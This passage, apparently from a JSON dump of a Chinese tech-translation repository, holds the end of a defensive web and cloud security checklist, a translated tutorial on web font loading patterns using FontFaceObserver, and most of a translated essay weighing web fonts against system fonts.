[Distributed Denial of Service](https://en.wikipedia.org/wiki/Denial-of-service_attack) （DDOS，分布式拒绝服务攻击）对网站带来的影响。它会在你遭受 DDOS 攻击时被激活，并且还具有类似 DNS 查找等功能。\n\n\n### **网络交通** ###\n\n-  整个网站使用 TLS （安全传输层协议），不要仅对登录表单使用 TLS。\n-  Cookies 必须添加 httpOnly 和 secure 属性，且由属性 path 和 domain 限定作用范围。\n-  使用 [CSP（内容安全策略）](https://en.wikipedia.org/wiki/Content_Security_Policy) 以禁止不安全的后门操作。策略的配置很繁琐，但是值得。\n-  使用 X-Frame-Option 和 X-XSS-Protection 响应头。\n-  使用 HSTS(HTTP Strict Transport Security) 响应强迫客户端仅使用 TLS 访问服务器，同时服务端需要将所有 HTTP 请求重定向为 HTTPS。\n-  在所有表单中使用 CSRF 令牌，使用新响应头 [SameSite Cookie](https://scotthelme.co.uk/csrf-is-dead/) 一次性解决 CSRF 问题， SameSite Cookie 适用于所有新版本的浏览器。\n\n### **APIs** ###\n\n-  确保公有 API 中没有可枚举的资源。\n-  确保每个访问 API 的用户都能被恰当地认证和授权。\n\n### **校验** ###\n\n-  使用客户端输入校验以及时给予用户反馈，但是不能完全信任客户端校验结果。\n-  使用服务器的白名单校验用户输入。不要直接向响应注入用户信息，切勿在 SQL 语句里使用用户输入。\n\n### **云端配置** ###\n\n-  确保所有服务开放最少的端口。尽管通过隐藏信息来保障安全是不可靠的，使用非标准端口将使黑客的攻击操作更加困难。\n-  在对任何公有网络都不可见的私有 VPC 上部署后台数据库和服务。在配置 AWS 安全组和对等互联多个 VPC 时务必谨慎（可能无意间使服务对外部可见）。\n-  不同逻辑的服务部署在不同的 VPC 上，VPC 之间通过对等连接进行内部服务的访问。\n-  让连接服务的 IP 地址个数尽可能少。\n-  限制对外输出的 IP 和端口流量，以最小化 APT（高级持续性威胁）和“警告”。\n-  始终使用 AWS 的 IAM（身份与访问管理）角色，而不是使用 root 的认证信息。\n-  对所有操作和开发人员使用最小访问权限原则。\n-  按照预定计划定期轮换密码和访问密钥。\n\n### **基础架构** ###\n\n-  确保在不停机的情况下对基础架构进行升级，确保以全自动的方式快速更新软件。\n-  利用 Terraform 等工具创建所有的基础架构，而不是通过云端命令行窗口。基础架构应该代码化，仅需一个按钮的功夫即可重建。请不要手动在云端创建资源，因为使用 Terraform 就可以通过配置自动创建它们。\n-  为所有服务使用集中化的日志记录，不该再利用 SSH 访问或检索日志。\n-  除了一次性诊断服务故障以外，不要使用 SSH 登录进服务。频繁使用 SSH ，意味着你还没将执行重要任务的操作自动化。\n-  不要长期开放任何 AWS 服务组的22号端口。\n-  创建 [immutable hosts（不可变主机）](http://chadfowler.com/2013/06/23/immutable-deployments.html) 而不是使用一个经过你长期提交补丁和更新的服务器。。（详情请看博客 [Immutable Infrastructure Can Be More Secure](https://simplesecurity.sensedeep.com/immutable-infrastructure-can-be-dramatically-more-secure-238f297eca49)）。\n-  使用如 [SenseDeep](https://www.sensedeep.com/) 的 [Intrusion Detection System（入侵检测系统）](https://en.wikipedia.org/wiki/Intrusion_detection_system) 或服务，以最小化 [APTs（高级持续性威胁）](https://en.wikipedia.org/wiki/Advanced_persistent_threat) 。\n\n### **操作** ###\n\n-  关闭未使用的服务和服务器，关闭的服务器是最安全的。\n\n### **测试** ###\n\n-  审核你的设计与实现。\n-  进行渗透测试 — 攻击自己的应用，让其他人为你的应用编写测试代码。\n\n### **最后，制定计划** ###\n\n-  准备用于描述网络攻击防御的威胁模型，列出可能的威胁和网络攻击参与者，并按优先级对其排序。\n-  制定经得起实践考验的安全事故计划，总有一天你会用到它。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/web-font-loading-patterns.md",
    "content": ">* 原文链接 : [Web Font Loading Patterns](https://www.bramstein.com/writing/web-font-loading-patterns.html)\n* 原文作者 : [Bram Stein](https://www.bramstein.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [SHENXN](https://github.com/shenxn)\n* 校对者: [hikerpig](https://github.com/hikerpig), [L9m](https://github.com/L9m)\n\n# 网页端字体加载优化\n\n网络字体加载看起来也许非常复杂，但如果你使用本文的字体加载模式的话，这也并不是一件复杂的事情。你可以将这些模式组合起来，创建一个兼容所有浏览器的字体加载方式。\n\n这些模式的代码样例都使用了 [Font Face Observer](https://github.com/bramstein/fontfaceobserver)，一个精简的网络字体加载器。Font Face Observer 将会根据浏览器的兼容情况使用最高效的方式来加载字体，所以这是一个非常棒的网络字体加载方式，同时你不需要为跨浏览器的兼容性而操心。\n\n1.  [基础字体加载模式](#basic-font-loading)\n2.  [分组字体加载模式](#loading-groups-of-fonts)\n3.  [限制字体加载时间](#loading-fonts-with-a-timeout)\n4.  [队列加载模式](#prioritised-loading)\n5.  [自定义字体显示行为](#custom-font-display)\n6.  [为缓存优化](#optimise-for-caching)\n\n不存在一种普适所有情况的单一模式。选择一种适合你自己网站的字体加载模式才是最好的。\n\n## [](#basic-font-loading)基础字体加载模式\n\nFont Face Observer 使用一种基于 Promise（译者注：Promise 对象是用于进行延迟或者异步运算的，一个 Promise 代表一个尚未执行，但是将会执行的操作） 的接口来提供对网络字体加载的完整控制。你字体放在哪里并不重要：你可以自行放置，也可以使用 [Google Fonts](http://www.google.com/fonts)、[Typekit](http://typekit.com/)、[Fonts.com](https://fonts.com/)、[Webtype](http://webtype.com/) 等服务。\n\n为了保持模式示例的精简，这篇文章假设你将网络字体放在自己的服务器上。这意味着你的 CSS 文件中应该有一个或多个 `@font-face` 来定义你希望通过 Font Face Observer 加载的字体。为了简洁，`@font-face` 不会出现在所有的模式中，但是你应该假设它们存在。\n\n    @font-face {\n      font-family: Output Sans;\n      src: url(output-sans.woff2) format(\"woff2\"),\n           url(output-sans.woff) format(\"woff\");\n    }\n\n最基础的模式就是加载一个或多个独立的字体。你可以通过为每个字体创建一个单独的 `FontFaceObserver` 实例，并调用它们的 `load` 方法来实现。\n\n    var output = new FontFaceObserver('Output Sans');\n    var input = new FontFaceObserver('Input Mono');\n\n    output.load().then(function () {\n      console.log('Output Sans has loaded.');\n    });\n\n    input.load().then(function () {\n      console.log('Input Mono has loaded.');\n    });\n\n通过这种方式，每个网络字体将会被独立加载，这在字体间没有依赖关系且应该渐进渲染（即在加载完成后就渲染）时非常有用。与 [原生字体加载接口](https://www.w3.org/TR/css-font-loading/) 不同，你不需要将字体的 URL 传递给 Font Face Observer，它会使用 CSS 文件中已经定义的 `@font-face` 规则来加载字体。这样你就可以在使用 JavaScript 手动加载字体的同时，还能优雅降级到利用 CSS 的实现。\n\n## [](#loading-groups-of-fonts)分组字体加载模式\n\n你也可以在加载多个字体的时候将它们分组：一个组内的字体只能全部加载成功或是全部加载失败。如果你加载的字体文件属于同一个字体族，且你希望仅在它们全部加载成功时才进行渲染，那么这种方式将会非常实用。这可以阻止浏览器在没能成功加载整个字体族时渲染出糟糕的网页。\n\n    var normal = new FontFaceObserver('Output Sans');\n    var italic = new FontFaceObserver('Output Sans', {\n      style: 'italic'\n    });\n\n    Promise.all([\n      normal.load(),\n      italic.load()\n    ]).then(function () {\n      console.log('Output Sans family has loaded.');\n    });\n\n你可以使用 `Promise.all` 来对字体进行分组。只有在所有字体都成功加载后 Promise 才会被解析，一旦有某个字体加载失败，Promise 就会被拒绝。\n\n将字体分组的另一个用途是减少页面布局的重新计算渲染。如果你逐步加载和渲染所有字体，浏览器将会因为网络字体和降级字体之间不同的尺寸而多次重新计算布局。将字体分组可以把多次计算布局优化为一次。\n\n## [](#loading-fonts-with-a-timeout)限制字体加载时间\n\n有些时候字体需要很长时间来加载，但由于字体通常是用于渲染网站的主要内容——文字，长时间的加载就会造成问题。无限制地等待一个字体的加载是不可接受的。你可以通过向字体加载添加一个计时器来解决这个问题。\n\n如下的辅助函数创建了一个计时器，超时后会返回一个被拒绝的 Promise.\n\n    function timer(time) {\n      return new Promise(function (resolve, reject) {\n        setTimeout(reject, time);\n      });\n    }\n\n通过使用 `Promise.race`，我们可以让字体加载和计时器“竞速”。举个例子，如果字体在计时器触发前加载完成，字体就胜利了，Promise 将会被解析。如果计时器在字体加载完成前触发，Promise 就会被拒绝。\n\n    var font = new FontFaceObserver('Output Sans');\n\n    Promise.race([\n      timer(1000),\n      font.load()\n    ]).then(function () {\n      console.log('Output Sans has loaded.');\n    }).catch(function () {\n      console.log('Output Sans has timed out.');\n    });\n\n在这个例子中，字体与一个1秒的计时器竞速。除了与单个字体竞速，计时器还可以与一组字体竞速。这是一种简单而且有效的限制字体加载时间的方法。\n\n## [](#prioritised-loading)队列加载模式\n\n通常情况下，只有部分字体对于渲染首屏内容来说是必要的。在加载其它可选字体之前先加载这些字体，将会极大程度地改善你网站的性能。你可以使用队列加载模式来实现。\n\n    var primary = new FontFaceObserver('Primary');\n    var secondary = new FontFaceObserver('Secondary');\n\n    primary.load().then(function () {\n      console.log('Primary font has loaded.')\n\n      secondary.load().then(function () {\n        console.log('Secondary font has loaded.')\n      });\n    });\n\n队列加载模式将会使次要字体依赖于主要字体。如果主要字体加载失败，次要字体将不会被加载。这会是一个非常重要的特性。\n\n举个例子，你可以使用队列加载模式来加载一个小的主要字体以提供有限的支持，之后再加载一个更大的次要字体来提供更多特征和样式。因为主要字体非常小，它的加载和渲染将会非常快。如果主要字体加载失败，你可能也不希望加载次要字体，因为其很可能也会加载失败。\n\n如果需要更详细的关于队列加载模式的信息，请参阅 Zach Leatherman 的文章 [Flash of Faux Text](http://www.zachleat.com/web/foft/) 以及 [Web Font Anti-Patterns: Data URIs](http://www.zachleat.com/web/web-font-data-uris/)。\n\n## [](#custom-font-display)自定义字体显示行为\n\n浏览器显示网络字体前需要先通过网络下载字体，这通常需要一定的时间，并且不同的浏览器在下载网络字体时有不同的行为。一些浏览器在加载字体时隐藏文字，而另一些浏览器会先显示降级字体。这两种方法通常被称为 Flash Of Invisible Text（FOIT）和 Flash Of Unstyled Text（FOUT）。\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f3aa9x12itj21540lraf4.jpg)\n\nIE 和 Edge 使用 FOUT，即在网络字体加载完成之前显示降级字体。所有其他的浏览器都使用 FOIT，即在网络字体加载时隐藏文本。\n\n一个新的 CSS 属性 `font-display`（[CSS Font Rendering Controls](https://tabatkins.github.io/specs/css-font-display/)）是用于控制这个行为的。然而，该特性依然处于开发阶段并尚未被任何浏览器支持（当前在 Chrome 和 Opera 中可以手动开启）。然而，我们可以使用 [Font Face Observer](https://github.com/bramstein/fontfaceobserver) 在所有的浏览器中实现相同的功能。\n\n你可以通过仅在字体栈中放入加载完成的字体来使得使用 FOIT 的浏览器在加载网络字体时使用降级字体渲染。如果正在下载的字体不在字体栈中，那些浏览器就不会试图隐藏文本。\n\n最简单的实现方法是在 `html` 元素上为三个网络字体加载状态设置不同的 class：loading（加载中），loaded（加载完成），以及 failed（加载失败）。\n\n    var font = new FontFaceObserver('Output Sans');\n    var html = document.documentElement;\n\n    html.classList.add('fonts-loading');\n\n    font.load().then(function () {\n      html.classList.remove('fonts-loading');\n      html.classList.add('fonts-loaded');\n    }).catch(function () {\n      html.classList.remove('fonts-loading');\n      html.classList.add('fonts-failed');\n    });\n\n使用这三个 class 和一些简单的 CSS，你就可以在所有浏览器中实现 FOUT。我们为所有将要使用网络字体的元素定义降级字体。当 `fonts-loaded` class 出现在 `html` 元素上时，我们通过改变元素的字体栈来应用网络字体。这将会要求浏览器加载网络字体，但是因为这些字体已经下载完成了，渲染操作将能在瞬间完成。\n\n    body {\n      font-family: Verdana, sans-serif;\n    }\n\n    .fonts-loaded body {\n      font-family: Output Sans, Verdana, sans-serif;\n    }\n\n使用这种方法来加载网络字体可能会让你想到渐进增强（progressive enhancement），这不是一个巧合。FOUT 就是一种渐进增强。默认的体验是使用降级字体渲染，然后使用网络字体来增强体验。\n\n实现 FOIT 同样简单。只要在网络字体开始加载时隐藏使用这些字体的内容，当字体加载完成后再重新显示。注意要记得处理加载失败的情况，即使网络字体加载失败，你的内容应该依然可见。\n\n    .fonts-loading body {\n      visibility: hidden;\n    }\n\n    .fonts-loaded body,\n    .fonts-failed body {\n      visibility: visible;\n    }\n\n这样隐藏内容是否让你感到不适？对，隐藏内容应该在非常特殊的情况下才被使用，比如你的网络字体没有合适的降级字体，或者你知道字体已经被缓存了。\n\n## [](#optimise-for-caching)为缓存优化\n\n其他的字体加载模式允许你自定义你加载字体的时间和方式。通常情况下，如果字体已经在缓存中，你会希望以不同的方式渲染字体。比如说，当字体已经被缓存时，就不需要先渲染降级字体了。我们可以通过使用 session storage 跟踪缓存情况的方式来实现。\n\n当一个字体被加载后，我们在 session 中创建一个布尔型标记。这个标记将会保持在整个会话过程中，所以这会是判断文件是否在浏览器缓存中的一个很好的方法。\n\n    var font = new FontFaceObserver('Output Sans');\n\n    font.load().then(function () {\n      sessionStorage.fontsLoaded = true;\n    }).catch(function () {\n      sessionStorage.fontsLoaded = false;\n    });\n\n然后你就可以使用这个信息以在字体被缓存时改变字体加载策略。比如说，你可以在 `head` 元素中插入如下的 JavaScript 片段来直接渲染网络字体。\n\n    if (sessionStorage.fontsLoaded) {\n      var html = document.documentElement;\n\n      html.classList.add('fonts-loaded');\n    }\n\n如果你使用这种方式加载字体，用户会在第一次访问你的网站时体验到 FOUT，但是随后的页面将会直接渲染网络字体。这样你既有渐进增强，又不会破坏重复访问者的体验。\n"
  },
  {
    "path": "TODO/web-fonts-when-you-need-them-when-you-dont.md",
    "content": "\n  > * 原文地址：[Web fonts: when you need them, when you don’t](https://hackernoon.com/web-fonts-when-you-need-them-when-you-dont-a3b4b39fe0ae)\n  > * 原文作者：[David Gilbertson](https://hackernoon.com/@david.gilbertson)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/web-fonts-when-you-need-them-when-you-dont.md](https://github.com/xitu/gold-miner/blob/master/TODO/web-fonts-when-you-need-them-when-you-dont.md)\n  > * 译者：[undead25](https://github.com/undead25)\n  > * 校对者：[Usey95](https://github.com/Usey95)\n\n  # 网络字体：什么时候需要，什么时候不需要\n\n  ![](https://cdn-images-1.medium.com/max/2000/1*Y4_EhogCnZQyALLuvQLDKQ.jpeg)\n\n图片来源于 [Unsplash](https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) 上的 [Marcus dePaula](https://unsplash.com/photos/tk7OAxsXNL0?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText)\n\n我并不热衷笼统的陈述你“应该”或“不应该”使用网络字体，但我认为应该有**一些**指导方针来帮助我们决定是否使用它们。\n\n接下来的篇幅会很长，但是它的主旨是：如果你正在制作一个网站，即将去寻找完美的网络字体，请至少**考虑**使用系统字体。\n\n也许你会这样考虑：\n\n![](https://cdn-images-1.medium.com/max/2000/1*MpuDht99XGlRIFlhjFb2yQ.png)\n\n我怀疑对于某些人来说，决策过程更像是这样：\n\n![](https://cdn-images-1.medium.com/max/2000/1*UuhYbCYMjgFk18srTw6rIQ.png)\n\n如果你一直在使用网络字体，那么认为“系统字体”很丑也不足为怪，因为“系统”这个词本身就会让人觉得很丑，所以你才会这么想。\n\n为了让大家觉得是在看同一个页面，至少是在看同一本书，我想给大家展示一个使用系统字体的网页。它虽然不是最好的，但我希望能以此消除那些负面的观念。\n\n![](https://cdn-images-1.medium.com/max/2000/1*fp9yphAAvXxSD3WbYKXhMA.png)\n\n并不丑啊。\n\n---\n\n你可能希望打开你自己的网站并尝试以下字体，看看感觉如何：\n\n    -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n\n---\n\n或者你可以使用扩展测试驱动器，并使用类似于 [Stylebot](https://chrome.google.com/webstore/detail/stylebot/oiaejidbmkiecgbjeifoejpgmdaleoha) 的 Chrome 扩展程序来设置特定 CSS 选择器或站点的字体。这样，当你访问你的站点时，更改会保持一致。\n\n有了这个简短介绍，下面让我们在那个流程图中的每个问题上花点时间。\n\n### 字体对你的品牌至关重要吗？\n\n这是最简单的方法。如果答案是肯定的，请停止阅读 —— 下面没有什么可看的了。我真的不介意你直接跳到评论，告诉我我太天真了。\n\n![](https://cdn-images-1.medium.com/max/2000/1*olLYhG5bwvR-YvWwIomuDg.png)\n\n只看这种字体，人就算了。\n\n显然，我不会建议 **The New Yorker** 不使用 Irvin 字体，或者 Apple.com 不使用 San Francisco 字体。即使像耐克这样的网站，我也不会建议他们不要这样做（“One Nike Currency” 字体是十分平常的），因为那是**他们**的字体。\n\n**结论**：如果你的字体是你品牌的一部分，那么显然要使用该字体。否则，请看下面的内容！\n\n### 字体是否使你的网站更容易阅读？\n\n看看这张图片中的文字，只看字体，内容是不相关的。\n\n![](https://cdn-images-1.medium.com/max/1600/1*wSyM5c15HIlxioEOpl2cPw.png)\n\n我想如果你是一个煤矿工人，那这是相关的，只是这篇文章和它不相关。\n让自己形成一个意见，稍后再回来。\n\n---\n\n如果在你的网站上，连续阅读的平均字数是 4 个，那么眼疲劳不是那么的大。也许这就是为什么 Facebook、Twitter、Gmail 和 eBay 都使用系统字体（在大多数地方）。\n\n但是，如果用户到你的网站上阅读 10 分钟，你希望你的文本能够很容易地吸引注意力。\n\n（关于衬线的注意事项：到目前为止，我所使用的术语“系统字体”指的是将 font-family 设置为 `-apple-system, BlinkMacSystemFont` 等，它们是无衬线字体。同样的想法也适用于衬线字体。**The New York Times**, **The Boston Globe**, **The Australian** 这些网站都给 body 定义了像 `georgia, \"times new roman\", times, serif` 的字体。）\n\nMedium.com 是一个很好的例子，我确定你很熟悉它。显然他们在排版上花了很多心思。从那些可爱的短划线到你甚至都没有注意到的不同宽度的空格，Medium 的字体与系统字体是不一样的。\n\n但这不应该让你认为一个网站有使用网络字体**才**容易阅读。\n\n如果你是开发人员，可能已经花了很多时间盯着 GitHub 上的文字。你知道这些文字是没有加载任何一个网络字体实现的吗？太不可思议了。\n\n我想如果明天 GitHub 从系统字体转换为 `Source Sans Pro`，没有人会注意到。同样，我敢打赌，如果 NPM 放弃了 `Source Sans Pro` 并使用系统字体，也没有人会注意到。\n\n这就是它的关键，你的用户（不是你）会注意到网络字体和系统字体在可读性上的差异吗？\n\n先不要回答，因为……\n\n#### 维基百科的奇特案例\n\n维基百科已经[对他们的排版做了大量的思考](https://www.mediawiki.org/wiki/Typography_refresh)。他们得出结论是，系统字体才是他们需要的。\n\n这对他们来说挺好的。\n\n但令我感到困惑的是，在桌面版的尺寸上，他们没有执行过一个度量标准（行宽度），并且使用的是 14px 的字体（在 2014 年更新之前，它是 13px）。\n\n我认为这样做肯定是有充分的理由的，但此生我都不清楚是什么理由。也许与垂直扫描文章有关，我不知道。\n\n我一直在使用 18px 文字和 700px 行宽度的维基百科，现在已经没有任何抱怨了。\n\n![](https://cdn-images-1.medium.com/max/2000/1*CGgCTocnhmQLpaWYeRh6-A.png)\n\n感谢 [Skinny 拓展程序](https://chrome.google.com/webstore/detail/skinny/lfohknefidgmanghfabkohkmlgbhmeho)（无耻的插件）。\n\n当我经常被迫返回到默认视图时，它就会进入我的脑海。\n\n![](https://cdn-images-1.medium.com/max/2000/1*-psbviYTpIj2VOo4r8yiGg.png)\n\n维基百科：自 2001 年以来锻炼颈部肌肉，就像在月球上看一场羽毛球比赛。\n\n（我对维基百科的建议：明天将桌面版正文文本改为 15px，然后在未来五年每年增加 1px —— 仍然会比现在阅读的文字小。）\n\n这个小问题的关键是：如果你的文本在一开始就难以阅读，那么网络字体只能提供小的改进。因此，在考虑字体之前，应该先要了解可读文字排版的基础。\n\n---\n\n如果你不了解排版，但关心可读性，请尝试以此为起点：\n\n- 至少 18px 的字体大小\n- 1.6 的行距\n- #333 或其周围的字体颜色\n- 限制行宽度为 700px\n\n但不要相信我的话，你可以从 Medium、The New Yorker、Smashing Magazine、longform.org，甚至 Node 和 NPM 文档中获得灵感。他们都清楚地考虑到可读性，你会发现他们之间有一些明显的相似之处。\n\n将基本原理整理后，你就可以比较系统字体和网络字体了。\n\n（我有一个预感，人们会争论这一点。提供宽泛的建议是我的错 —— 所以我会在这里说明：用常识来解释你在互联网上读到的内容，调整自己的品味，不要做你不想做的事情。也不要吃洗碗机，如果疼痛持续，就去看医生。）\n\n---\n\n现在，我希望你答应我，你不会往上翻。\n\n因为……\n\n这就是上面出现过的文本块。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Q-h43aVyuDsrHRVXqx7QbQ.png)\n\n比第一个更容易阅读吗？更难读？还是一样？\n\n很容易，当给出的两大块文本并排放在一起时，让你的眼睛在它们之间移动，最终说服自己其中一个比另一个更容易阅读。但如果没有直接的比较导致差异不明显，那么你可能有两个完全可以接受的字体。\n\n为了满足需求，这里将它们并排放置，你可以很清楚地看到它们是不同的。一个是网络字体，而另一个是系统字体。\n\n![](https://cdn-images-1.medium.com/max/2000/1*eS3Yg49ckvxMdo9dv-OPQA.png)\n\n资料来源：[New Republic](https://newrepublic.com/minutes/143094/eliminating-coal-save-lives-per-year-entire-coal-industry-employs)（另外，我在图片中处理了 3 个不同的地方）。\n\n我不会告诉你哪张图使用的是网络字体，哪张图使用的是系统字体。\n\n那么，回到流程图的问题上：“网络字体让你的网站更容易阅读吗？”。我想，在寒冷的光线下，任何一个理性的人都会看着上面的比较，然后说**不**，他们中没有一个比另外一个更容易阅读。\n\n（现在我想一想，这实际上是一个很好的测试，看看你是否是一个理性的人。）\n\n**结论**：如果你的网站没有太多的文字，那么网络字体对可读性几乎没有任何影响。但如果你的网站都是关于阅读的，这可能不是那么容易。**我**认为 Medium 网站的字体肯定会让文字更加愉快地被阅读。**我**认为这和 New Republic 网站的字体没有任何区别。你需要为你网站的读者找到客观回答这个问题的方法。\n\n如果你认为网络字体对可读性没有什么意义，那么你将更接近最终目标 —— 不必担心网络字体。\n\n### 你能在没有 FOUT 的情况下加载字体吗？\n\n如果你的流程图远远落后，所讨论的网络字体与你的品牌无关，并且不会提高可读性。但这当然不意味着你不应该使用它。\n\n除非你遇到了 **F**lash **O**f **U**nstyled **T**ext（文本无样式闪烁）。因为那确实太丑了。\n\n对不起，**New Republic**，我准备更深入地对你展开讨论。这并不是出于我本意，是因为你向我的浏览器发送了 524 KB 的字体。 \n\n下面是上图文章中的字体加载情况。\n\n![](https://cdn-images-1.medium.com/max/1600/1*6GoQ3zcV8mA-lufM3iMd1A.png)\n\n载入一篇 New Republic 网站的文章。在 Chrome 开发者工具的网络面板中，限制网速为 “Fast 3G”，然后仅对字体进行过滤。\n文章的正文副本在 1.45 秒内可见。这是一个很大的努力。\n\n讲真的，3G 网络 1.45 秒的时间，打败了互联网绝大部分的网站【鼓励一下】。\n\n然后在 1.65 秒的时候图片被加载了。但从这一点开始，一切都在走下坡路，就像奶酪追逐节一样。\n\n**九秒钟后**，在 10.85 秒时，网络字体就绪，文本闪烁，因为系统字体被替换为网络字体了。我去。\n\n但这还没完，哦，不。在 12.58 秒时，它会再次闪烁，因为 700-weight 字体被加载了（在每篇文章的开头句子中使用 —— 所以这将改变其余的副本），然后在 12.7 秒时，400 斜体可用，文本再次闪烁。\n\n所有这一切，事实上是大多数人都无法区分这两种字体。\n\n我能说的是，这里使用的 `Balto` 和 `Lava` 字体不仅是 542 KB，它们每年也要 2000 美元左右。确实是这样。\n\n这肯定会让我的钱包很紧。\n\n有趣的是，我想很多人在看到这篇文章的标题时，会认为这是一篇关于一些开发人员看不到精细排版中的价值的吐槽。但恰恰相反。上述行为是对视觉体验的攻击，并且可以通过使用看起来几乎相同的系统字体来**避免**。\n\n---\n\n但是，我们在这里先退一步。很明显，这个网站的设计师并**不想**它在加载时这么烦人。这显然不仅仅只有 **New Republic** 遇到了这种情况。那么一个网站怎么会这样呢？\n\n更重要的是，你如何避免**你的网站**遇到这种情况？\n\n我认为设计决策可能发生在 Sketch 设计的前面，或者用本地安装的字体来查看网站，所以假定**使用网络字体没有什么负面影响**。\n\n这是不正确的，因为任何曾经使用过互联网的人都可以告诉你。\n\n也许如果 Sketch 或者 Photoshop 有一个插件，在你每次打开一个文件时都会显示 10 秒钟的系统字体，那么世界上将会有更少的不必要的网络字体。\n\n我的建议：了解网络字体是如何展示给你的用户的，而不是停留在静态设计上，它不会出现任何烦人的闪烁的无样式文本。\n\n**结论**：如果你不能避免 FOUT，那么请避免使用网络字体。\n\n（如果你在本轮中被淘汰，你可以向上滚动并查看一些避免 FOUT 的提示。）\n\n### 你想在所有设备上使用相同的字体吗？\n\n在这里我只有这一步，因为我已经听到过很多次，并想要解决它。但坦白说，我并没有解决这个问题。\n\n为什么要在所有设备上使用相同的字体？在表面看来，这听起来像是一个愚蠢的问题。我试图用 `5 Whys` 进行分析，但我在第二个上面卡住了。\n\n从我的理解来看，我的想法是，如果我正在 Mac 的 Safari 中浏览一些袜子，然后离开家，坐上火车，用我的 Android 浏览同一个网站，如果我看到的是不同的字体，那将是一件很**糟糕**的事情。\n\n我理解“一致性很重要”这一普遍观点。但……真的吗？在流程图中的这一点上？\n\n我只能代表我自己，但是如果我从坐在沙发上，用一个 15 英寸 220 PPI 的 LCD 屏浏览你的桌面版网站，到火车上的脏房间里面，用一个 5.5 英寸 534 PPI 的 OLED 屏浏览你的手机版网站，我并不在乎我在看到的是什么字体，几乎肯定不会注意到从 San Francisco 到 Roboto 字体的变化。\n\n我只是看着我手机上的袜子。\n\n![](https://cdn-images-1.medium.com/max/2000/1*KCk6znjIEeYIT9Xirnh2EQ.png)\n\n谢谢 [readymag](https://readymag.com/arzamas/132908/9/)。\n\n但就像我说的，我仅代表我自己。也许只有我一个人有这样的想法，其他所有人都会对 Roboto/San Francisco 的切换感到非常困惑。\n\n我只是一个孤独的数据点。\n\n---\n\n我也听说过这样的争论，在所有设备上使用相同字体，意味着你可以依靠具有一致粗细的文本，并始终占用相同的空间。\n\n不是这样的。\n\n![](https://cdn-images-1.medium.com/max/1600/1*5-yDFIJgMvqyr-ugdYUMOA.jpeg)\n\nmacOS 上的 Safari。\n\n![](https://cdn-images-1.medium.com/max/1600/1*8cXq51gj6yp2kZfD_ePdIQ.png)\n\nWindows 上的 Chrome。\n\n我使用 macOS/Windows 的时间大概是一半一半（我好像有点像流浪汉），而 Windows 上的文本通常看起来更轻。但让事情变得复杂的是，Windows 有这样一整个叫做 ClearType 的东西，这意味着你实际上并不知道字体是如何展示给不同的用户的。\n\n因此，你需要接受的是，即使使用网络字体，你的文本在 Mac 和 Windows 上的显示也会有所不同，几乎肯定会在不同的地方进行包装（注意主段落的第一行）。\n\n**结论**：如果你明白你的文字在所有设备上（永远）不会看起来一样，但仍然希望在所有设备上使用相同的字体，那么选择是明确的：你将需要一个网络字体。不然呢……\n\n### 使用网络字体会让你更开心吗？\n\n现在，你已有了一个字体，**无关**你的品牌，也**不**增加可读性，你**可以**在没有难看的闪烁无样式文本的情况下加载它，而且你已经接受了设备之间不可避免的不一致。\n\n现在怎么办?\n\n你可能已经注意到，我的流程图中缺少了“它看起来更好吗？”。我向你保证，这不是因为我觉得外观并不重要。美学是非常重要的，这也是为什么我早上要梳头发。\n\n它之所以没有出现在流程图中，是因为网络字体天生比系统字体更好看的误解。\n\n也许是时候我们更仔细地看看这些“系统”字体了……\n\n如果你今天使用系统字体，你的用户将获得 MacOS 和 iOS 上的 `San Francisco`，Android 上的 `Roboto` 和 Windows 上的 `Segoe UI`。\n\n这些是 Apple、Google 和 Microsoft 选择来作为界面外观的字体。它们都是经过精心设计的，所以他们肯定不应该被认为是像 `Open Sans`，`Proxima Nova` 和 `Lato` 这样的字体。\n\n（我想要说的是，这些系统字体比大多数网络字体都要好，但排版爱好者是一个暴力的群体，所以我不会说这样的话。）\n\n系统字体可以像网络字体一样漂亮，如果你对字体的外观感兴趣，那么你应该努力去了解你的网站使用系统字体看起来怎么样。也许它看起来更好 —— 这不会是一个惊喜吗？\n\n---\n\n所以，你已经检查了系统字体，它们可不会为你做这些。现在，你只需要为你的网站选择字体，就像你要选择调色板和布局一样。\n\n幸运的是，我们在流程图的末尾，所以如果你想使用网络字体，那么你就应该使用一个网络字体。\n\n我感谢你花时间考虑系统字体，并祝愿你和你的网络字体永远幸福。\n\n**结论**：如果你想使用网络字体，那你就使用吧。**但**如果这是你在所有这些之后得出的结论，实际上可能还有一件事情需要担心，系统实际上是非常棒的，然后使用系统字体。\n\n每个人都是赢家。\n\n### 